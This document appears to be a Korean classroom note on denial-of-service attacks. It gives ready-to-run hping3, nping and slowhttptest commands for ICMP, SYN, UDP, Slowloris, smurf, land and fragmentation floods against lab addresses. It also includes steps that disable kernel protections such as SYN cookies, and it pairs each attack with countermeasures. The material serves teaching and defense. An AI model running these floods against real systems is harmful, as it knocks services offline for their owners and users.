DOS 공격 (Denial Of Service) 서비스 거부
*** DDOS ** 분산서비스공격 (좀비피시)
hping3
-a (--spoof) IP를 변조 시킨다
--rand-source 랜덤한 IP로 타겟한테 보냄
--flood 최대 속도로 보내기
-1 (--icmp) icmp패킷으로 보냄
-2 UDP 패킷으로 보냄
-d 데이터량 정하기
-s 출발포트 (+1씩 올라감 )
-p 도착지 포트 ***
-k 출발포트 킵 (없을경우 +1씩 증가)
============================================================================
ping 간단 연습
[간격]ping -i 0.1 10.10.10.10
[데이타]
ping -s 1000 10.10.10.10
ping -s 3000 10.10.10.10 <<< 단편화됨 확인
연습 ( fast ping )
hping3 -1 --flood 10.10.10.10
*** 사전준비 ****
centos에
rpm -ivh http://springdale.princeton.edu/data/springdale/7/x86_64/os/Addons/Packages/iftop-1.0-0.14.pre4.sdl7.x86_64.rpm
설치후 iftop
1.ping of death (과부하)
큰패킷을 보내 단편화를 진행하고 서버는 이를 받음으로서
패킷 재결합과정에서 과부하가 걸리게 된다.
* 패킷분석 포인트 : 단편화되는 내용 확인
hping3 -1 -d 5000 10.10.10.10
hping3 -1 -d 40000 10.10.10.10
보안 : 보통 64~100byte의 패킷이 보내짐 , 일정크기의 큰 패킷을 차단
일정시간 한호스트에서 단편화가 되면서 너무 많은 icmp 패킷이 들어올경우 해당호스트를 차단
2.ip spoofing(random) attack
hping3 --icmp --rand-source 10.10.10.10 (뒤에 -d를 붙여서 ping of death와 병합가능 )
[실제공격할때는]
hping3 --icmp --rand-source 10.10.10.10 --flood -d 40000
사용자의 IP를 spoofing 하여 알수 없게 만드는공격
보안대책 : NAC와 같은 MAC주소를 감지할수 있는 보안장비를 통해 ip 와 mac을 매칭을 하고 다를경우 차단
3.Land Attack
시스템 리소스공격=> 메모리부하
source 위치 공격자와 같게 해서 내부의 트래픽을 증가
hping3 --icmp -a [spoofing IP] <공격대상IP> -d 40000 --flood
hping3 --icmp -a 10.10.10.10 10.10.10.10 -d 40000 --flood
보안대책 : 출발지와 목적지가 같을경우 필터링
================================================================================
4.smurf attack
네트워크 호스트들에게 공격
출발지 주소를 공격대상으로 목적지 주소를 취약한 네트워크의 브로드캐스트주소로 변조
hping3 -a [목적지주소] [브로드캐스트주소] [확인할때는 -c 5정도 공격은 -flood --icmp]
hping3 -1 -a 10.10.10.10 30.30.30.255 -c 5
[보안해제]
(시스템)
cat /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts ( 1인것을 확인)
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts (0으로 변경)
(라우터)
30.30.30.0/24 대역 포트에 ip direct broadcast 설정
[보안방법]
host에서 broadcast를 호출하는 패킷을 차단
라우터 : no ip directed-broadcast
시스템 : echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
설정을 함
================================================================================
TCP DOS 공격
TCP SYN FLOODING
출발지 IP를 변조 SYN 전달
공격 SYN신호가 꽉차 정상 클라이언트 연결정보를 저장하지 못하도록 함
[보안해제]
cat /proc/sys/net/ipv4/tcp_syncookies
echo 0 > /proc/sys/net/ipv4/tcp_syncookies
0:backlog 저장 1:syncookies 처리(활성화)
tcp_syncookie란?
syn backlog에 저장을 하지 않고
3way-handshack 를 검사하여 linten backlog로 넘김
칼리 : hping3 --rand-source <공격IP> -p 80 -S --flood
** 실습이 완료되면 원복하세요~~ ***
[보안대책]
tcp_syncookie 활성화
3way handshack를 검사하여 완료된 세션만
linten baklog로 넘김
==============================================================
TCP Connect Flooding
TCP 3-way-handshake 과정을 과도하게 유발
기존의 SYN Flooding 보안대책을 무력화시킴
nping --tcp-connect -p 80 -rate=90000 -c 90000 -q <공격대상 IP>
보안대책
IP당 세션 제한 ( IPS,또는 웹서버에서 커넥션 모듈 설치 )
에서 막을수 있음
====7버전에서는 할필요 없음===========
yum install httpd-devel*
wget http://dominia.org/djao/limit/mod_limitipconn-0.24.tar.bz2
tar xvf mod_limitipconn-0.24
cd mod_limitipconn-0.24
make install
ls -l /usr/lib64/httpd/modules/mod_limitipconn.so
vi /etc/httpd/conf/httpd.conf [모듈적재 확인]
LoadModule limitipconn_module /usr/lib64/httpd/modules/mod_limitipconn.so
/etc/httpd/conf.d
파일생성후
값 넣기
MaxConnPerIP 10
==================================================================================
SLOWLORIS 공격
apt-get update
apt-get install slowhttptest
apt-get install etherape
HTTP Header 정보를 비정상적으로 조작하여
웹서버가 온전한 Header정보가 올때 까지 기다리도록하여
다른 세션이 연결할수 없도록함
slowhttptest -c 4000 -g -o slowloris -i 10 -r 100 -t GET -x 3 -p 3 -u http://10.10.10.10
-c // 타겟에 연결시도할 최대 세션숫자
-g // 변화되는 소캣의 상태 통계 생성. -o와 같이 사용
-i // 데이터간 전송 간격
-r // 초당 연결 수. 높게 설정할 수록 가파르게 연결 세션이 올라간다.
-x [bytes] // 탐지를 피하기 위한 random한 문자열을 X- 다음에 붙여준다.
-p [seconds] // 지정한 시간(초)이 흐른 후에도 응답이 없으면 접속 불가능하다고 판단한다.
[보안대책]
1.헤더정보이후에 psh 패킷이 들어올수 없도록함 (현실적으로 불가능)
2. 세션 임계치 제한 서버응답시간 timeout 최소 설정
==========================================================================
UDP Flood
데이터값을 UDP로 밀어 넣음
hping3 -2 --rand-source -d 65000 -p 50-100 --flood <공격 IP>
1. udp flooding 는 네트워크 banwidth를 소모하여 특정서비스가 아니라
모든 시스템에 영향을 줌. 그래서 ip filter로 차단이 힘듬. (특정포트가 열릴 필요가 없음)
2. 데이타량을 많이 보내서 속도를 늦추는것이라 100% 막지 못함.
3. 단일호스트로는 피해를 주기 어렵움.
4. 주로 DDOS에서 공격이 이루어 진다.
보안용어
C&C(Command & Control) 좀비PC를 제어하는 서버
좀비PC => c&c 서버의 명령에 따라 원격적인 행동을 취하게되는 악성코드 감염PC
DOS 공격 유형
#네트워크 대역폭 소모
UDP flooding , icmp flooding(smurf).... land attack..... 등등
#서비스 자원고갈
시스템 서비스를 고갈
SYN flooding, tcp connection flooding,
#어플리케이션 취약점 공격
HTTP GET Flooding.... sloworis등......
# 단편화공격
==========================================================================
[dos 서비스 거부공격(denial-of-service attack) ]
1:1 로 공격대상의 리소스를 고갈
[ddos 분산서비스거부공격(Distributed Denial of Service) ]
c&c서버 (command & control ) 와 봇넷 (botnet or zombie_PC) 를 활용하여
다수의 PC로 공격대상의 리소스를 고갈시킴
[DRDOS 분산 반사 공격 (Distributed Reflect Dos)]
DDOS의 진화형태 smuf공격과 굉장히 유사하지만
tcp나 udp를 이용한 서비스 자원공격을 하는것이 특징
IP Spoofing을 사용하기때문에 로그가 무의미
봇넷이 굳이 필요 없다.
ddos공격중에도 출발지 주소를 계속 변조 해버리기때문에
거의 잡힌사례가 손에 꼽을 정도로 없다.
특징
1.ip spoofing
2.반사체 공격
3.다수의 서버에게 요청 (대표적 : DNS , NTP 시간서버 )
효과
1.공격증폭 (봇넷 필요X)
2.공격자 특정 어려움
============================================================
=============================================================
====================
단편화공격 (반복적인 재요구와 수정)
bonk boink teardrop
bonk(처음 패킷도 시퀀스 넘버 1 계속 1번으로 보냄)
hping3 -a 1.1.1.1 <공격IP> --id 3200 -M 100 -p 21 -d 320 --flood
hping3 <공격IP> -Q
boink
hping3 -S <공격IP> -M 1460
hping3 -S <공격IP> -M 2920
=========================================================
teardrop(ping을 백그라운드로 하나 보내놓음)
패킷을 겹치게 전송을 하고 IP 패킷전송이 나누어졌다가 다시 재조합하는 과정의 취약점 공격
ICMP에서 전송받고 있는 자료 중간에 offset을 겹치게 전송해서 시스템을 교착시키거나 충돌을 일으켜 재기동시킴
hping3 -1 <공격IP> -g 185
보안대책 : win95 초과에서는 씨알도 안먹힘
=========================================================================
수업